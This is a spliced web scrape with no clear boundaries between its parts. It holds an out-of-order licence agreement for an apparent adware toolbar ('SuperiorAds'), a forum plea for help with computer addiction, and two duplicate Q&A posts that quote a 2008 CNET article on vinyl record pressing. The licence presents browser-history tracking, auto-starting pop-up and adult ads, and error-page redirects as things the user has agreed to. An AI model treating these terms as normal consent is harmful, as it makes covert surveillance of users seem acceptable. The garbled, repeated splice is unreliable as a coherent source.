LICENSED SOFTWARE, INCLUDING, WITHOUT LIMITATION, ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS OF DATA, SAVINGS, OR PROFITS OR THE COST OF PROCURING SUBSTITUTE GOODS, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. IN NO EVENT WILL LICENSOR’S ENTIRE LIABILITY ARISING OUT OF OR IN CONNECTION WITH THIS AGREEMENT EXCEED $100.00. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF CERTAIN WARRANTIES OR THE LIMITATION OR EXCLUSION OF LIABILITY FOR INCIDENTAL OR CONSEQUENTIAL DAMAGES. ACCORDINGLY, SOME OF THE ABOVE LIMITATIONS MAY NOT APPLY TO YOU. 9.3 Indemnity. Licensee agrees to indemnify, defend, and hold Licensor and all of the directors, officers, shareholders, affiliates, employees, and agents of Licensor (collectively referred to as "Licensor’s Agents") harmless against and in respect to any and all claims, demands, losses, costs, expenses, obligations, liabilities, damages, recoveries, and deficiencies, including interest, penalties, expert witness fees, and reasonable attorneys' fees that Licensor, Licensor’s Agents and the companies that own or control the Third Party Software shall incur or suffer, which arise, result from, or in any way relate to: (a) any breach of, or failure by Licensee to perform any of the representations, warranties, covenants or agreements in this Agreement; (b) Licensee’s violation of any applicable law or regulation, whether or not referenced herein; and (c) Licensee’s violation of any rights of any third party (including, without limitation, the right of the third parties who own the Third Party Software). 10. USE OF INFORMATION; PRIVACY POLICY. 10.1 Use of Information. By entering into this Agreement, Licensee agrees that Licensor may collect and retain information about Licensee, including Licensee’s name and email address. Licensor may employ other companies and individuals to perform these functions on its behalf. Examples may include fulfilling orders, delivering packages, sending postal mail and e-mail, removing repetitive information from customer lists, analyzing data, providing marketing assistance and processing credit card payments. These third parties may be given access to personal information needed to perform their functions, but may not use it for other purposes. In addition, Licensor will collect and use anonymous information relating to your use of the Licensed Software application for statistical and related purposes. Licensor may disclose the information to third parties for these purposes but will not use or disclose information about your use of the Licensed Software for any other purpose (unless required to do so by law). Licensor may keep track of your Internet history in order to customize the advertisements provided to you as part of the Licensed Software. 10.2 Privacy Policy. Without limiting the generality of Section 10.1, by installing the Licensed Software, you grant permission for Licensor to collect and use certain information. You acknowledge that you have reviewed the applicable Licensor Privacy Policy, which describes Licensor’s general practices with respect to the collection, use and disclosure of information in connection with your Use of the Licensed Software, which is incorporated herein by reference. Licensor reserves the right to change the provisions of its Privacy Policy from time to time. Your Use of the Licensed Software following the posting of such changes to Licensor’s Privacy Policy will constitute your acceptance of any such changes. Licensor does not make any and hereby disclaims to the maximum extent allowed by law any and all covenants, representations and warranties with respect to its compliance with the statements of intent contained in Licensor's privacy policy. 11. COMPATIBILITY. Licensor does not warrant that the Licensed Software will be compatible with your hardware or other software installed on your computer system. Compatibility issues may cause your computer's performance to suffer. In the event that the Licensed Software is not compatible with your hardware or other software installed on your computer system, the Licensed Software can be uninstalled as provided in Section 7, above. Like all software, the Licensed Software utilizes some of your computer's resources to run, including system memory and Internet connection. Use of the Licensed Software on a computer with inadequate system resources will cause such computer's performance to suffer. 12. USER REPRESENTATIONS AND WARRANTIES. You acknowledge, represent and warrant that: (a) you own the computer on which you are installing the Licensed Software, or have the authority to install the Licensed Software on such computer; (b) your installation and/or Use of the Licensed Software will not violate any local, state or federal laws that apply to you, or the Use or installation of the Licensed Software; (c) Licensor is not causing the Licensed Software to be installed on your computer, but has provided the Licensed Software to you, which you are installing of your own volition; and (d) you have read and fully understand the terms of this Agreement. 13. EXPORT. You agree that the Licensed Software may not be acquired, shipped, transported, exported, or re-exported (A) into (or to a national or resident of) any U.S. embargoed country or (B) to anyone on the U.S. Treasury Department's list of Specially Designated Nationals or the U.S. Department of Commerce's Table of Denial Orders. By using the Licensed Software, you represent and warrant that you are not located in, under control of, or a national or resident of any such country or on any such list. 14. MISCELLANEOUS. 14.1 Entire Agreement. This Agreement and any Third Party Software Agreement set forth the entire understanding of the parties with respect to the subject matter hereof. There are no representations, warranties, agreements, arrangements or understandings, oral or written, between the parties relating to this Agreement which are not fully expressed in this Agreement. No waiver, amendment or modification of any of the terms of this Agreement shall be effective unless in writing and signed by the party affected by the waiver, amendment or modification; provided, however, that that Licensor may unilaterally amend or modify this Agreement or a company that owns or controls Third Party Software may modify their Third Party Software Agreement at any time and you shall have notice of these changes by reference to the Version number of this document and the effective date for such version (or the Third Party Software Agreement may be amended according to that company’s particular policies). Further, no waiver of any term, condition or default of any term of this Agreement shall be construed as a waiver of any other term, condition or default. In the event of a conflict between this Agreement and any Third Party Agreement with respect to the use of the Licensed Software and the obligations, duties or liability of Licensor, this Agreement shall control notwithstanding such conflicting language. 14.2 Severability. In the event that any provision of this Agreement is held by a court of competent jurisdiction to be unenforceable, the validity of the remaining provisions shall not be affected, and the rights and obligations of the parties shall be construed and enforced as if the Agreement did not contain the particular provisions held to be unenforceable and the unenforceable provisions shall be replaced by mutually acceptable provisions which, being valid, legal and enforceable, come closest to the intention of the parties underlying the invalid or unenforceable provision. 14.3 Governing Law and Venue. This Agreement and each and every portion of this Agreement shall be interpreted pursuant to the internal laws of the Country of Costa Rica, without giving effect to the principles of conflict of laws. Each of the parties hereby irrevocably and unconditionally agrees to the exclusive jurisdiction of any court located in Cost Rica for any actions, suits or proceedings arising out of or relating to this Agreement (and the parties each agree not to commence any action, suit or proceeding relating thereto except in such courts and not to plead or claim that any such court is an inconvenient or otherwise improper or inappropriate forum). 14.4 Injunctive Relief. Licensee acknowledges that the injury that would be suffered by Licensor as a result of a breach of the provisions of this Agreement by Licensee would be irreparable and that an award of monetary damages to Licensor for such a breach would be an inadequate remedy. Consequently, Licensor will have the right, in addition to any other rights it may have, to obtain injunctive relief to restrain any breach or threatened breach or otherwise to specifically enforce any provision of this Agreement, and Licensor will not be obligated to post bond or other security in seeking such relief Should you have any questions concerning this Agreement, or if you wish to contact Licensor for any reason, please e-mail us at dcads.biz <sendto:info@dcads.biz>. SuperiorAds.Biz - (If applicable)* Version 2.1 (June 27, 2007) END USER LICENSE AGREEMENT NOTE TO USER: BEFORE YOU INSTALL, COPY OR OTHERWISE USE THE LICENSED SOFTWARE (AS DEFINED BELOW), CAREFULLY READ THE TERMS AND CONDITIONS OF THIS END USER LICENSE AGREEMENT AS WELL AS THE OTHER SIMILAR AGREEMENTS FOR THE THIRD PARTY SOFTWARE (AS DEFINED BELOW) THAT MAY BE BUNDLED WITH THE LICENSED SOFTWARE. BY INSTALLING, COPYING OR OTHERWISE USING THE LICENSED SOFTWARE, YOU ARE CONSENTING TO BE BOUND BY AND ARE BECOMING A PARTY TO THIS LEGALLY ENFORCEABLE AGREEMENT AS WELL AS THE OTHER SIMILAR THIRD PARTY SOFTWARE AGREEMENTS (INCLUDED HEREWITH). YOU ARE ALSO ACKNOWLEDING AND AGREEING THAT, UPON INSTALLATION OF THE LICENSED SOFTWARE, YOU WILL RECEIVE AND CONTINUE TO RECEIVE CONTEXTUAL POPUP AND CONTEXTUAL LINK ADVERTISING VIA HIGHLIGHTED LINKS. YOU MAY ALSO CHOOSE TO INSTALL (OR UNINSTALL) THIRD-PARTY SOFTWARE FROM SELECT ADVERTISERS. THE LICENSED SOFTWARE CAN BE UNINSTALLED UTILIZING THE “ADD/REMOVE PROGRAMS” COMMAND OF YOUR COMPUTER (SEE FURTHER INSTRUCTIONS BELOW). This End-User License Agreement (the “Agreement”) is an important legal agreement between you (the “Licensee”) and Danube International inc., a Costa Rican corporation (“Licensor”). Licensor is willing to license the Licensed Software (as defined below) to you, provided that you agree to and accept all of the terms and conditions in this Agreement. IF YOU DO NOT AGREE TO ALL THE TERMS AND CONDITIONS SET FORTH IN THIS AGREEMENT, DO NOT INSTALL THE LICENSED SOFTWARE. UPON INSTALLATION, YOUR USE OF THE LICENSED SOFTWARE IS SUBJECT TO THE TERMS AND CONDITIONS SET FORTH IN THIS AGREEMENT. Special Notice for Non-English Speakers: The Licensed Software is suited primarily for the use of English speakers and, therefore, this Agreement is written in English and is addressed to English speakers. If you are not proficient in English and feel that you cannot properly understand this License Agreement, we recommend that you either retain the help of an English speaker to help you understand and accept the terms of this Agreement or, alternatively, refrain from installing or using the Licensed Software. In any event, if you choose to install or use the Licensed Software, you will be bound by this Agreement and the Privacy Policy incorporated herein. Special Notice for Residents of the State of Alaska, USA: Unfortunately, according to SB 140 (Alaska), persons who reside in the State of Alaska may not install the Licensed Software. Therefore, by installing or using the Licensed Software you represent and warrant that your computer is not located in the State of Alaska. To the extent that our system is reasonably able to recognize that your computer is located in the State of Alaska, we will not enable you to install the Licensed Software. Notice for All Users: By downloading the Licensed Software, you get free access to sponsored content across the Internet. The Licensed Software may, among other things, show you ads that pop up on your screen in a separate browser, provide you with a toolbar to make your use of the internet more efficient and enjoyable and allow you to access or otherwise link to programs from our affiliates. The pop-up ads that may appear on your computer are based on keywords and URL targets from the sites you visit. Please note that you will receive Adult-oriented ads if you utilize keywords related to such content or if you view Adult-oriented websites. The Licensed Software is a service of Licensor. 1. DEFINITIONS. The capitalized terms used but not otherwise defined in this Agreement shall have the following meanings: 1.1 “Agreement” or “License” means this End User License Agreement. 1.2 “Licensee” or “you” means the individual who agrees to license the Licensed Software in accordance with the terms and conditions of this Agreement. 1.3 “Licensed Software” means collectively the Software, Third Party Software and Updates. 1.4 “Third Party Software” means the software of third parties bundled together with the Software and/or made available to or installed by Licensee in connection with the installation, use and/or maintenance of the Software, which software includes or displays, without limitation, cookies and pop-up advertisements of third parties, or links to third-party websites not affiliated with Licensor. You may choose not to install Third Party Software or may uninstall such software using your “Add/Remove Software” function on your computer. Each company providing Third Party Software has its own agreements and privacy policies (or other policies) that may be different from this (Licensor’s) Agreement and Privacy Policy . By clicking “I Agree” you also agree to be bound by the Third Party Software Agreements that are included herewith. In the event of a conflict between a Third Party Software Agreement and this Agreement, this Agreement shall control with respect to Licensor’s obligations, duties or liability. 1.5 “Software” toolbar, contextual popup and contextual link applications installed by Licensee pursuant the terms of this Agreement, together with the software applications, documentation and local computer files installed or utilized by Licensee in connection therewith (excluding the Third Party Software), and all updates, modifications or patches thereof. 1.6 “Updates” means any bug fixes, upgrades, modified versions or updates to the Licensed Software. 1.7 "Use”, "Used" or "Using" means to access, install, download, copy or benefit from using the functionality of the Licensed Software 2. PERMISSION/AUTHORITY TO DOWNLOAD LICENSED SOFTWARE 2.1 Permission to Download Licensed Software. This Agreement contains important legal obligations. Pursuant to applicable laws including, without limitation, the Electronic Signature Law and Uniform Electronic Transactions Act (“UETA”), by clicking “I Agree”, Licensor will treat Licensee’s affirmative action as equivalent to a signed written contract that will legally bind Licensee to the terms of this Agreement. Licensee should carefully review the terms of this Agreement (as well as any Third Party Software Agreements included herewith) before clicking “I agree”. 2.2 Obligation to be Bound by Current Version of EULA. Licensor may revise this EULA or its Privacy Policy at anytime, and may (but shall not be obligated) to notify Licensees of such revisions. By agreeing to the terms of this EULA, Licensee agrees to read and review this EULA and privacy policy in order to stay current on any changes. 3. SOFTWARE LICENSE AND RESTRICTIONS. 3.1 License Grant. Upon acceptance of the terms and conditions of this Agreement, as evidenced by clicking “I agree” and continuing with the installation procedure, Licensor grants Licensee a non-transferable, non-exclusive, revocable, non-sub licensable license to Use the Licensed Software, in binary executable form only, solely in accordance with the terms and conditions set forth in this Agreement. The Licensee agrees not to Use the Licensed Software in any manner that could damage, disable, overburden or impair the Licensed Software, including, without limitation, Using the Licensed Software in an automated manner or in any other manner which could interfere with any other party's use and enjoyment of the Licensed Software. 3.2 Restrictions. As a material condition to the license granted in Section 3.1 above, you will: (a) not reverse engineer, disassemble or decompile the Licensed Software or attempt to discover or recreate the source code to the Licensed Software, except as otherwise required by applicable law, (b) comply with all applicable laws, including U.S. export control laws, in your Use of the Licensed Software, (c) not make any modification, adaptation, improvement, enhancement, translation or derivative work of or to the Licensed Software, (d) not remove, alter or obscure any proprietary notices (including copy notices) of Licensor or Licensor’s affiliates in the Licensed Software, (e) not Use the Licensed Software for purposes for which it is not designed, and (f) only Use the Licensed Software for personal, non-commercial use. 4. OWNER OF COMPUTER; ALL USERS BOUND; AGE LIMITATION. You represent and warrant either that you are the owner of the computer up which you intend to download the Licensed Software and that you have authorized the download and installation of the Licensed Software or that the owner of the computer has authorized you to do so. You agree, with respect to all users of the computer on which you have caused the Licensed Software to reside, to provide a copy of these terms and conditions and to obtain their consent to these terms and conditions before allowing them to Use the Licensed Software. Alternatively, if you have the legal right to accept this Agreement on behalf of one or more users of the computer on which you have caused or authorized the Licensed Software to reside, then you hereby accept this Agreement on behalf of all such other users. You understand that the presence of the Licensed Software on any computer is voluntary and that you may remove it at any time. You must be at least 18 years of age to Use the Licensed Software. By accepting the terms of this Agreement and Using the Licensed Software you represent that you are over the age of 18. 5. IMPORTANT INFORMATION REGARDING FUNCTIONALITY OF LICENSED SOFTWARE. 5.1 Functionality. Certain applications in the Licensed Software recognize keywords from your Internet browser and URL targets from the sites you visit to display relevant contextual advertisements. These advertisements may be displayed on your computer screen at any time while you are searching and shopping online (and not necessarily while you are using any product or service related to or downloaded with the Licensed Software) and pop-up on your screen in a separate browser. The Licensed Software gathers and stores personal identifiable information and records concerning your Internet browsing behavior. Please refer to Section 10 (below) for further information about Licensor’s privacy policies. 5.2. Display of Advertising. The Licensed Software starts automatically when you start your computer, runs in the background on your computer, and may periodically direct you to our sponsors' websites. By installing and/or using the Licensed Software you grant permission for Licensor to periodically display sponsors' websites to you. The frequency of these advertisements (which will pop up on your screen in a separate browser) will vary depending on your use of the Internet. Please note that you will receive Adult-oriented ads if you utilize keywords related to such content or if you view Adult-oriented websites. On occasion, you may search for a website and receive an error from your browser software indicating that the site cannot be found. When this occurs, the Software includes a function that may redirect your web browser to our sponsor's websites based on the content of the website address, or URL, which you entered. You hereby consent to these actions. Content Licensor considers “Adult” is defined as any audio, video, audiovisual, images, sounds or text that contain or reference any of the following: profanity, crude or off-color humor, violence, blood and gore, weapons, use of alcohol, drugs, tobacco or other controlled substances, online gambling, pornography, erotica, erotic images, nudity, sex, sexually explicit images, and sexual references. 6. INTELLECTUAL PROPERTY RIGHTS. The Licensed Software is the intellectual property of, and owned exclusively by, Licensor, its affiliates or suppliers or the companies that own or control the Third Party Software. The structure, organization and code of the Licensed Software are the valuable trade secrets and confidential information of Licensor, its suppliers or affiliates or the companies that own or control the Third Party Software. The Licensed Software is protected by copyright, including without limitation by United States copyright law, international treaty provisions and applicable laws in the country in which it is being used. Except as expressly stated herein, this Agreement does not grant you any intellectual property rights in the Licensed Software, and all rights not expressly granted are reserved by Licensor and its affiliates or suppliers. 7. UNINSTALLATION. You understand and agree that the presence of the Licensed Software on your computer is voluntary and that you may remove the Licensed Software from your computer at any time going to the “Add/Remove Software” function on your computer and clicking “Remove Software”. The program name for the software is Browser Optimizer SuperiorAds. Should you choose to download additional software from Licensor’s affiliates or advertisers, those programs may be named differently and require you to remove them separately. Please note that the above is the only proper way to ensure complete removal of all Licensed Software files - many anti-spyware or other software tools do not completely or properly remove the Licensed Software. Some Internet content and software publishers require that their users have certain of the Licensed Software installed on their computer in order to access their content or use their software applications ("Content Providers"). Uninstallation of such Licensed Software may impact your ability to access such content and/or use such software. You may be required to restart your computer in order for the uninstallation to take effect. Should you have any questions regarding the removal of the Licensed Software, please contact removal@dcads.biz or removal@rightonads.biz. 8. UPDATES. Licensor, in its sole discretion, may provide you with Updates to the Licensed Software as part of this Agreement. The Licensed Software may check with Licensor or its affiliates for the existence of any Update released and, in the event that one is available, the Licensed Software may update itself automatically or prompt you to update the Software. Nothing herein shall be construed or interpreted as requiring that Licensor provide Updates. The companies that own or control the Third Party Software may also provide you with Updates to their Licensed Software. Licensor has no control and accepts no liability for Updates that may (or may not) be provided for the Third Party Software. 9. DISCLAIMER OF WARRANTIES AND REMEDIES; INDEMNITY. 9.1 No Warranty; Disclaimer. YOUR USE OF THE LICENSED SOFTWARE IS AT YOUR SOLE RISK. THE LICENSED SOFTWARE IS PROVIDED ON AN "AS IS" AND "AS AVAILABLE" BASIS. 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Would you help me to escape from my computer addiction please? My situation I really need your suggestions, info, links, et cetera to get me break away from this computer addiction please. I have been living with computer since its advent, and I have been too long in this bit and byte world. I have almost no problem with my family and/or social matters (maybe), but certainly, I have problems with myself. I realize that my addiction to computer and internet has seized big values of my life. Please do not assume that I am addicted to the gaming, gambling, chatting, or sexual leisure online. I think I have really got the most of the computing and internet, I got answers for my quests in life: history, languages, hobbies, health, skill improvement, and other eye-openers, but I realized that at the end I just barely do not recognize myself. I knew that before the PC arrival, I was a simple human with a romantic and artistic mind inside, and then later I evolved to such a robot, to be precise: a slave of the technology. The internet had made me more tied to the PC, at first it delivered me the news of the world, marvelous things found there within the clicks and so on, but then made me deep drown into the pond of information. The cost and the lost Having knowledge to computer hardware made me always upgrade my gears. It made me spend big cost just to fulfill my lust over those times. My room is full with the old gears, gadgets, and things from online stores. My PCs and notebooks are full with MP3s, PDFs, and many things downloaded both free and paid. I also spent for many external/ portable harddisks for backing up and traveling. I do not mean to showoff, I just tell you how worse it was from time to time during about 20 years. I sometimes think about the lost time for repairing my gears, updating my softwares, browsing; and how many books that I have not read completely. There was a break One time, in two straight months last year, I spent my times with my son playing Tamiya, small racing cars in small tracks. It was wonderful that it made me totally forgot my computers. We have had most of the time together for racing, modifying, winding the wires for the tiny motors, etc. My wife was so amazed that the toys have made me away from the PC. It ended because of the coming rainy season that made us packed and boxed back the tracks and cars, and I simply switched back to the old routine. In search of healing I remember a precious phrase: Two kinds of those who lost; they are who looks for wealth and for knowledge. This phrase sometimes wakes me up but bad habit is addicting and I found myself always returned into that path. I think it is just similar to drug addiction. As the internet is an endless resource, I search through it for the cure, and I have found some articles about it and tried to implement them, but it always hard for me to liberate myself from my habit. I really hope that finally I find it in this forum, especially from you. Your helps, Please I know that some of you are familiar to manage some types of dependence, or maybe you have healed from the same situation. Whether you have some psychological, spiritual expertise, certain medication, or exercises, please share your advice, I need it badly. I do not want to clog the rest of my life in that digital world. There must be somebody else also in pain from the same thing, your kind suggestion will be very valuable and it will save some life. Thank you very much for sparing your time reading this lengthy note. God bless you. PS: I post this in Computing & Internet, Health, and Social Science with time interval, hoping to net more inputs. Please do not waste your time to put any unpleasant or unnecessary words, consider it will not only read by me but also by the other fellow readers. If you are not in the same situation with me, you perhaps still have the advantage of knowing the answers. Thank you, again.

What are the chances of vinyl records replacing CDs and MP3s? Is audio technology going backwards? Read the following article: June 26, 2008 10:11 AM PDT Making vinyl records the old-fashioned way Posted by Daniel Terdiman 4 comments At United Record Pressing in Nashville, Tenn., LPs are still made the old-fashioned way: with lots and lots of vinyl. This is a bin full of little vinyl pellets that will be melted into records. (Credit: Daniel Terdiman/CNET News.com) NASHVILLE, Tenn.--When people think of the Beatles coming to America, they usually conjure up images of The Ed Sullivan Show and screaming teenage girls chasing the Fab Four on the streets of New York. But here in Music City, there's something else to commemorate the earliest stages of the British Invasion: the fact that the first American Beatles 7-inch record was produced by United Record Pressing--then, as now, one of the largest makers of vinyl in the world. On Monday, as I swung through Nashville on Road Trip 2008, I was lucky enough to get to visit the production facilities of United Record Pressing here and get a firsthand look at how LPs are made. Before you scoff at the notion of making records, consider that over the last few years, the format has made a big comeback, with sales skyrocketing and turntables moving off store shelves like they haven't in years. Why? The reason is pure irony. According to Jay Millar, the marketing and sales manager for United Record Pressing, it has everything to do with the emergence of Apple's oh-so-ubiquitous MP3 player. "It really started picking up when iPods started coming onto the scene," Millar said. "Everything got so sterile with digital that people were not spending time" with the physical manifestation of their music. A record-pressing machine at United Record Pressing. The company is one of only three in the United States that still produces LPs in any meaningful amounts. (Credit: Daniel Terdiman/CNET News.com) In other words, as iPods began to dominate the music world, people were leaving their CDs on the shelves, and iTunes downloads, as well as those via file-sharing services, took over. But for audiophiles used to actually handling some sort of disc, this change has led to a reversal of fortune for the LP, a format long thought to have gone the way of the floppy disk. For a company like United Record Pressing, that's been great news, as its sales have been going up steadily as more and more artists turn to records as a way to get their music into the hands of people who care about it. So how is a record made? First, a separate company with facilities nearby takes the original recording--which can come in the form of an audio tape, but (audiophiles, cover your eyes here) more often comes on CDs since many artists are using software like ProTools to cut their tracks--and uses it to cut the familiar circular grooves into an object called a lacquer. The lacquer is then delivered to United Record Pressing, which begins the process of actually making the LPs. First, the lacquer is sprayed with a layer of silver, which, after it sets, is then peeled off. The resulting sheet is known as the master, and it is the opposite of a record, because it has ridges rather than grooves. The master is then used to make what is known as the mother, a metal version of the record that can, itself, actually be played. At United Record Pressing, black is not the only color of vinyl that is used. There's also red, orange, blue, gray, and even a mixture made from the cuttings of the other colors. (Credit: Daniel Terdiman/CNET News.com) The mother is then pressed into what is known as the stamper, and this, too, has ridges. The stamper actually is the basis of every record that comes out of this factory. At this point, it's all about raw vinyl, millions of little chunks of the material that resemble Pop Rocks. And it's not just black either. The company also makes records that are red, orange, blue, and gray. Sometimes, it takes all the discarded vinyl from several pressings and mixes them together into a kind of hodgepodge color. First, the vinyl is melted down into what is called the biscuit. This is the center of the record, the round part with no grooves and the little hole. To this is added the label, which is pressed onto the biscuit, a step that doesn't require any adhesive. Rather, the biscuit is so hot from the vinyl being melted down that the label sticks right on. The labels, which are printed here by the thousands, are actually baked in a special oven so that they retain no moisture, something that could cause bubbling on the actual record. To ensure that labels don't bubble up after being pressed onto a record, the labels are baked in an oven to remove any moisture. (Credit: Daniel Terdiman/CNET News.com) Then, the biscuit is placed in the middle of a machine and then it is joined together with a fresh supply of vinyl, and together they are smashed between a plate and the stamper. A blade then shears off the excess vinyl, and voila! A brand new record slides out of the machine and onto a rack. When all is said and done, it's actually a remarkably simply process. But there's still much more that must happen before an LP leaves the facility. First, at least one of each new album run must be tested. So on one side of a room that long ago was used as a room for record release and signing parties--Hank Williams Jr. had a party thrown for him here when he was 16, Millar said--a woman is sitting and bobbing her head as she listens to songs on headphones, making sure the new record has no problems. If it does, United Record Pressing will have to tell the record company what the issue is. There's also the small matter of putting the records in their sleeves--something I saw two people tucked away in a corner of one room doing. They had their process down pat: grab an LP, inspect it quickly for obvious defects, pick up a sleeve, slide in the record, repeat. Click for gallery Millar showed me a room in the basement of the building that contained thousands and thousands of folders--really, they seemed like extra-thick album covers with no art--that contain the masters of every record the company has produced over the years. This is a treasure trove bar none, since United Record Pressing works with pretty much every major label you can imagine. Inside each folder is the master, and a full set of all the associated materials: the master, a label, an album jacket, and anything else that might be included, such as liner notes. And these days, as with an Elvis Costello album Millar showed me, the folders may also hold an insert with information for a digital download of the album. In fact, it is these digital downloads that may be heralding the re-emergence of the LP and the death of the CD. That's because many artists are now offering record buyers a one-time free download of all the tracks on the album as a bonus. This is still a small enough phenomenon, of course, to barely register on Apple's radar. iTunes is safe, in other words. Still, for audiophiles who used to buy CDs, this gives them a way to have a physical disc to listen to the music on, as well as a way to easily tote it with them. "People don't need their discs to be compact anymore," said Millar, "because you can't get much more compact than MP3. So it's back to the big discs." * 10 hours ago * - 3 days left to answer.

What are the chances of vinyl records making a comeback and replacing CDs and MP3s? Is audio technology....? Returning to the past? I got the following article off CNET.com. June 26, 2008 10:11 AM PDT Making vinyl records the old-fashioned way Posted by Daniel Terdiman 4 comments At United Record Pressing in Nashville, Tenn., LPs are still made the old-fashioned way: with lots and lots of vinyl. This is a bin full of little vinyl pellets that will be melted into records. (Credit: Daniel Terdiman/CNET News.com) NASHVILLE, Tenn.--When people think of the Beatles coming to America, they usually conjure up images of The Ed Sullivan Show and screaming teenage girls chasing the Fab Four on the streets of New York. But here in Music City, there's something else to commemorate the earliest stages of the British Invasion: the fact that the first American Beatles 7-inch record was produced by United Record Pressing--then, as now, one of the largest makers of vinyl in the world. On Monday, as I swung through Nashville on Road Trip 2008, I was lucky enough to get to visit the production facilities of United Record Pressing here and get a firsthand look at how LPs are made. Before you scoff at the notion of making records, consider that over the last few years, the format has made a big comeback, with sales skyrocketing and turntables moving off store shelves like they haven't in years. Why? The reason is pure irony. According to Jay Millar, the marketing and sales manager for United Record Pressing, it has everything to do with the emergence of Apple's oh-so-ubiquitous MP3 player. "It really started picking up when iPods started coming onto the scene," Millar said. "Everything got so sterile with digital that people were not spending time" with the physical manifestation of their music. A record-pressing machine at United Record Pressing. The company is one of only three in the United States that still produces LPs in any meaningful amounts. (Credit: Daniel Terdiman/CNET News.com) In other words, as iPods began to dominate the music world, people were leaving their CDs on the shelves, and iTunes downloads, as well as those via file-sharing services, took over. But for audiophiles used to actually handling some sort of disc, this change has led to a reversal of fortune for the LP, a format long thought to have gone the way of the floppy disk. For a company like United Record Pressing, that's been great news, as its sales have been going up steadily as more and more artists turn to records as a way to get their music into the hands of people who care about it. So how is a record made? First, a separate company with facilities nearby takes the original recording--which can come in the form of an audio tape, but (audiophiles, cover your eyes here) more often comes on CDs since many artists are using software like ProTools to cut their tracks--and uses it to cut the familiar circular grooves into an object called a lacquer. The lacquer is then delivered to United Record Pressing, which begins the process of actually making the LPs. First, the lacquer is sprayed with a layer of silver, which, after it sets, is then peeled off. The resulting sheet is known as the master, and it is the opposite of a record, because it has ridges rather than grooves. The master is then used to make what is known as the mother, a metal version of the record that can, itself, actually be played. At United Record Pressing, black is not the only color of vinyl that is used. There's also red, orange, blue, gray, and even a mixture made from the cuttings of the other colors. (Credit: Daniel Terdiman/CNET News.com) The mother is then pressed into what is known as the stamper, and this, too, has ridges. The stamper actually is the basis of every record that comes out of this factory. At this point, it's all about raw vinyl, millions of little chunks of the material that resemble Pop Rocks. And it's not just black either. The company also makes records that are red, orange, blue, and gray. Sometimes, it takes all the discarded vinyl from several pressings and mixes them together into a kind of hodgepodge color. First, the vinyl is melted down into what is called the biscuit. This is the center of the record, the round part with no grooves and the little hole. To this is added the label, which is pressed onto the biscuit, a step that doesn't require any adhesive. Rather, the biscuit is so hot from the vinyl being melted down that the label sticks right on. The labels, which are printed here by the thousands, are actually baked in a special oven so that they retain no moisture, something that could cause bubbling on the actual record. To ensure that labels don't bubble up after being pressed onto a record, the labels are baked in an oven to remove any moisture. (Credit: Daniel Terdiman/CNET News.com) Then, the biscuit is placed in the middle of a machine and then it is joined together with a fresh supply of vinyl, and together they are smashed between a plate and the stamper. A blade then shears off the excess vinyl, and voila! A brand new record slides out of the machine and onto a rack. When all is said and done, it's actually a remarkably simply process. But there's still much more that must happen before an LP leaves the facility. First, at least one of each new album run must be tested. So on one side of a room that long ago was used as a room for record release and signing parties--Hank Williams Jr. had a party thrown for him here when he was 16, Millar said--a woman is sitting and bobbing her head as she listens to songs on headphones, making sure the new record has no problems. If it does, United Record Pressing will have to tell the record company what the issue is. There's also the small matter of putting the records in their sleeves--something I saw two people tucked away in a corner of one room doing. They had their process down pat: grab an LP, inspect it quickly for obvious defects, pick up a sleeve, slide in the record, repeat. Click for gallery Millar showed me a room in the basement of the building that contained thousands and thousands of folders--really, they seemed like extra-thick album covers with no art--that contain the masters of every record the company has produced over the years. This is a treasure trove bar none, since United Record Pressing works with pretty much every major label you can imagine. Inside each folder is the master, and a full set of all the associated materials: the master, a label, an album jacket, and anything else that might be included, such as liner notes. And these days, as with an Elvis Costello album Millar showed me, the folders may also hold an insert with information for a digital download of the album. In fact, it is these digital downloads that may be heralding the re-emergence of the LP and the death of the CD. That's because many artists are now offering record buyers a one-time free download of all the tracks on the album as a bonus. This is still a small enough phenomenon, of course, to barely register on Apple's radar. iTunes is safe, in other words. Still, for audiophiles who used to buy CDs, this gives them a way to have a physical disc to listen to the music on, as well as a way to easily tote it with them. "People don't need their discs to be compact anymore," said Millar, "because you can't get much more compact than MP3. So it's back to the big discs."